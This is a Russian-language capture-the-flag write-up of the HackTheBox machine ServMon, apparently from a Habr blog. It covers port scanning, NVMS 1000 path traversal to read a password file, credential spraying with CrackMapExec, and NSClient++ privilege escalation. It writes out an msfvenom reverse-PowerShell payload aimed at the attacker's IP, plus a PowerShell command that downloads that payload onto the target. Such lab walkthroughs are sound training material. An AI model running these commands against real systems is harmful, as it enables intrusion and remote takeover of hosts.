![](https://habrastorage.org/webt/nb/aj/px/nbajpxdt9mgwng0onzsuxqtq3b8.png)
Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.184, который я добавляю в /etc/hosts.
10.10.10.184 servmon.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.184 --rate=500
![](https://habrastorage.org/webt/he/w7/lv/hew7lvzsbcb6cqc6nwqsvo-kco0.png)
На хосте открыто много портов. Теперь просканируем их с помощью nmap, чтобы отфильтровать и выбрать нужные.
nmap servmon.htb -p21,80,49667,49669,22,139,49668,8443,49670,6699,6063,49666,5666,5040,7680,49664,49665,445,135
![](https://habrastorage.org/webt/tx/eo/bx/txeobxpshpan0vjf7ihq6yyhdvm.png)
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A servmon.htb -p21,80,22,139,8443,6699,6063,5666,5040,7680,445,135
![](https://habrastorage.org/webt/2s/kw/d8/2skwd8_dueal_mftkpannija-fe.png)
Как видно из скана nmap, есть возможность работы с FTP сервером от имени anonymous. Заходим и осматриваемся.
![](https://habrastorage.org/webt/uk/w8/ds/ukw8ds0ewkd3fxazlv-g6xkll20.png)
Есть два файла, давайте их скачаем и посмотрим.
![](https://habrastorage.org/webt/uk/w8/ds/ukw8ds0ewkd3fxazlv-g6xkll20.png)
![](https://habrastorage.org/webt/qc/mc/fg/qcmcfgq6y3xbwyimuqv5vhyoglk.png)
USER
Таким образом мы видим список задач (часть из них не выполнена), а также знаем, что файл с паролем на рабочем столе. Теперь заглянем на веб.
![](https://habrastorage.org/webt/wt/jk/0o/wtjk0oxggg0_ztdxificaafoms0.png)
Давайте глянем эксплоиты для NVMS.
![](https://habrastorage.org/webt/6x/hd/pe/6xhdpediaywyf1q4ewrwcpqmjtq.png)
И мы находим именно для NVMS 1000. Узнаем о чем он.
![](https://habrastorage.org/webt/i_/nd/7p/i_nd7pjfovixq7aez_0s2xjtaoi.png)
То есть мы можем читать файлы в системе при обращении по HTTP 1.1. Давайте проверим.
![](https://habrastorage.org/webt/1k/xn/oh/1kxnohsv9kfdhk0wg-3hltn-shc.png)
Все работает. Мы знаем, где лежит пароль. Просмотрим.
![](https://habrastorage.org/webt/ln/ns/au/lnnsaulvg7ajgolbxrjk7-ntdpi.png)
И получаем несколько паролей. Так у нас есть несколько служб, где мы можем перебрать пары логин: пароль. Я это сделал на smb с помощью CrackMapExec.
![](https://habrastorage.org/webt/kc/kv/fi/kckvfilhvs06of0igzjov11uzjk.png)
Подключимся по SSH и получим флаг пользователя.
![](https://habrastorage.org/webt/l0/qn/cd/l0qncdzqiqo80tucivjbgf9pirs.png)
ROOT
Осматривая сервисы, предоставленные nmap, на 8443 порте работает NSClient.
![](https://habrastorage.org/webt/b2/ws/do/b2wsdomtnukdyl7ase1zrzhbifs.png)
И для него тоже находим эксплоит.
![](https://habrastorage.org/webt/vc/8_/5e/vc8_5egbhgp5tjlzdbg3amiksj4.png)
Таким образом, локальные пользователи с низкими привилегиями могут читать пароль веб-администратора в открытом виде из файла конфигурации.
Поскольку служба NSClient++ работает как система, то пользователь с низким уровнем привилегий может получить повышение привилегий.
Первым делом нужно получить пароль веб администратора.
type "c:\program files\nsclient++\nsclient.ini"
![](https://habrastorage.org/webt/ka/zw/_h/kazw_hvdajifwwfwtrhmxjssiya.png)
Мы видим разрешенный хост — localhost. Давайте прокинем порт SHH.
ssh -L 8444:127.0.0.1:8443 nadine@servmon.htb
Для данной уязвимости, чтобы не выполнять все действия вручную, я использовал автоматизированный RCE эксплоит.
Сначала сгенерируем нагрузку, которую мы выполним для обратного подключения и запускаем листенер.
msfvenom -p cmd/windows/reverse_powershell lhost=10.10.15.60 lport=4321 > ./1.bat
![](https://habrastorage.org/webt/6a/7f/-p/6a7f-pofjlcvic_eyegjjgwmlvw.png)
Теперь на удаленном хосте скачиваем с локальной машины данный bat файл.
powershell -c "wget http://10.10.15.60:88/1.bat -O C:\Temp\a.bat"
Когда все готово, запускаем эксплоит (то ли нестабилен эксплоит, то ли машина, но удачно выполнен только с третьего раза).
![](https://habrastorage.org/webt/ke/vl/mv/kevlmvbtppyqhhzpscspq3ckwse.png)
И в метасплоит наблюдаем успешное создание сессии.
![](https://habrastorage.org/webt/24/i6/-6/24i6-63acmxmohdfsgykx0mc4sy.png)
Мы с правами system на данной машине!
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
dyadyaSerezha
"решений отправленных на дорешивание машин" — это круто.